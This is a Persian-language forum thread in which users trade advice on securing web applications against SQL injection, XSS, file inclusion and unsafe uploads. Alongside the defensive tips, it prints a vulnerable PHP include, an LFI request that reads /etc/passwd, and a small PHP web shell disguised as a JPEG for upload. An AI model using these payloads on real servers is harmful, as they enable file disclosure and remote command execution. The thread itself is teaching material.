ايران ويج

نسخه‌ی کامل: امنیت در برنامه نویسی وب
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
صفحه‌ها: 1 2
سلام دوستان
زمانی که داریم یه وب طراحی میکنیم چطور امنیتش را ایجاد کنیم

چطوری همه ادرس هاو همه وردی ها را برسی کنیم
اصلا چه چیز هایی نیاز به برسی دارن؟
C# تا اونجا که من م یدونم خیلی از این ها رو خودش انجام می ده البته به شرطی که از کامپوننت های آماده خودش استفاده کنی
ولی در کل هر چیزی که از کاربر می یاد باید بررسی بشه
حتی یه فیلد مخفی یا آدرس ریفر و ...
خوب میشه بگید چطوری برسی
بکنم
مثلا اگه تغییری توی urlایجاد شد چطوری چک کنم؟
میشه کامل توضیح بدین؟
ببین من کارم C# نیست و نمی دونم دقیقا کجا ها رو چک می کنه
مثلا فرض کن من می یام توی سایتت ثبت نام می کنم به جای اسمم می نویسم </div> حالا اگه یه جا آخرین کاربرهای سایت رو نشون بدی کل سایتت می ریزه بهم
باید sql injection رو هم چک کنی xss و rfi و lfi ها رو هم حواست بهش باشه
http://fa.wikipedia.org/wiki/%D8%AD%D9%8...A%A9%D8%AF
http://en.wikipedia.org/wiki/Cross-site_scripting
http://en.wikipedia.org/wiki/Remote_File_Inclusion
http://en.wikipedia.org/wiki/SQL_injection
http://en.wikipedia.org/wiki/Local_File_Inclusion
دوست گلم ممنون از کمکت ولی من یچیز هایی از sql injection وxss میدونم
یعنی میدونم چطوری باید کنترل بشن اما دوتایه بعدی را نه
میشه بگید چه چیزی باید چک بشه
لازم نیست کد باشه ساده بگید چی چیزی باید کنترل بشه
از این لینکها چیزی دستگیرم نشد

بازم ممنون از راهنمایی هاتون
اون ۲ تای دیگه مربوط به انکلود کردن فایل های خارجی یا داخلی
اینو ببین

کد php:
<?php
   $color 
'blue';
   if (isset( 
$_GET['COLOR'] ) )
      
$color $_GET['COLOR'];
   include( 
$color '.php' );
?>

طرف اومده بدون اینکه متغیر $color رو که از طرف کاربر گرفته، چک کنه مستقیم استفاده کرد. حالا اگه من فایل رو اینطوری صدا بزنم

کد php:
/vulnerable.php?COLOR=/etc/passwd%00 

می یاد و فایل passwd رو توی لینوکس اینکلود می کنه و من می تونم تمام یوزر ها رو ببینم به این می گن LFI و اگه فایل از روی یه سرور دیگه اینکلود بشه می گن RFI
این فقط برای GET نیست POST یا کوکی ها هم همین قدر اسیب پذیرن
شما وقتی ۲ تا مقدار معتبر داری باید حتما چک کنی که یکی از این ۲ تا باشه یا بیای از اینتیجر استفاده کنی و چک کنی که طرف حتما اینتیجر فرستاده یا اگه رشته باید باشه مثلا سایز رشته رو و ...
اینو ببن

کد php:
if (isset( $_GET['COLOR'] ) &  $_GET['COLOR']=="red" 
دوست عزیز خیلی جالب بود
امکانش هست به همین روش چندتا باگ دیگه را اموزش بدین
ممنون
یه مشکل دیگم که هست توی آپلود معمولا دوستان یادشون می ره درست چک کنن ببینین چیزی که داره آپلود می شه چیه
و همین جوری می شه یه شل رو روی سرورشون آپلود کرد مثلا شما اجازه می دی من عکسم رو روی سایتت آپلود کنم منم می یام یه فایل php که کدهای منو اجرا می کنه، اولش کدهای فایل مثلا jpeg رو اضافه می کنم
کد php:
����JFIFHH���ExifMM,b����JFIF��
<?
php
echo exec($_GET['cmd']);
?>
اگه اینو آپلود کنی من هر دستوری بخوام روی سرورت اجرا می کنم
چه خطر ناک
راه حل چیه؟
راه حلش اینه که همه چیز رو چک کنی دیگه من معمولا عکس ها رو ریسایز می کنم تا نتونه چیز دیگه ای آپلودکنه
اسم فایل هم مهمه سعی کن اسم فایل رو خودت انتخاب کنی البته هیچ چیزی شو از کاربر نگیری
اگه اسم فایل jpg باشه هیچ وقت php یا asp اونو اجرا نمی کنن
برای جلوگیری از Sql injection در #C کلاسهای کاار با دیتابیس مثل Sqlcommand یا SqlDataSource چیزی به نام sqlParametr دارن وقتی شما اطلاعات رو به صورت پارامتر به SqlServer ارسال کنین در اکثر موارد از sqlInjection جلوگیری میشه

برای جلوگیری از xss هم هرجا که مقدار ورودی از کاربر میگیرین مثل همون چیزی که اقا هادی گفتن میتونین قبل از ذخیره اطلاعات در دیتابیس با استفاده از Utilities.EncodeHtml اطلاعات رو کد کنین این تابع در متن شما میگرده و تگها رو تغییر میده واونها رو از حالت عادی خارج میکنه و دیگه کدها اجرا نمیشن

برای جلوگیری از اپلود شل و فایلهای غیر مجاز همونجور که هادی جان گفته حتما پسوند فایلها رو چک کنین و ...
صفحه‌ها: 1 2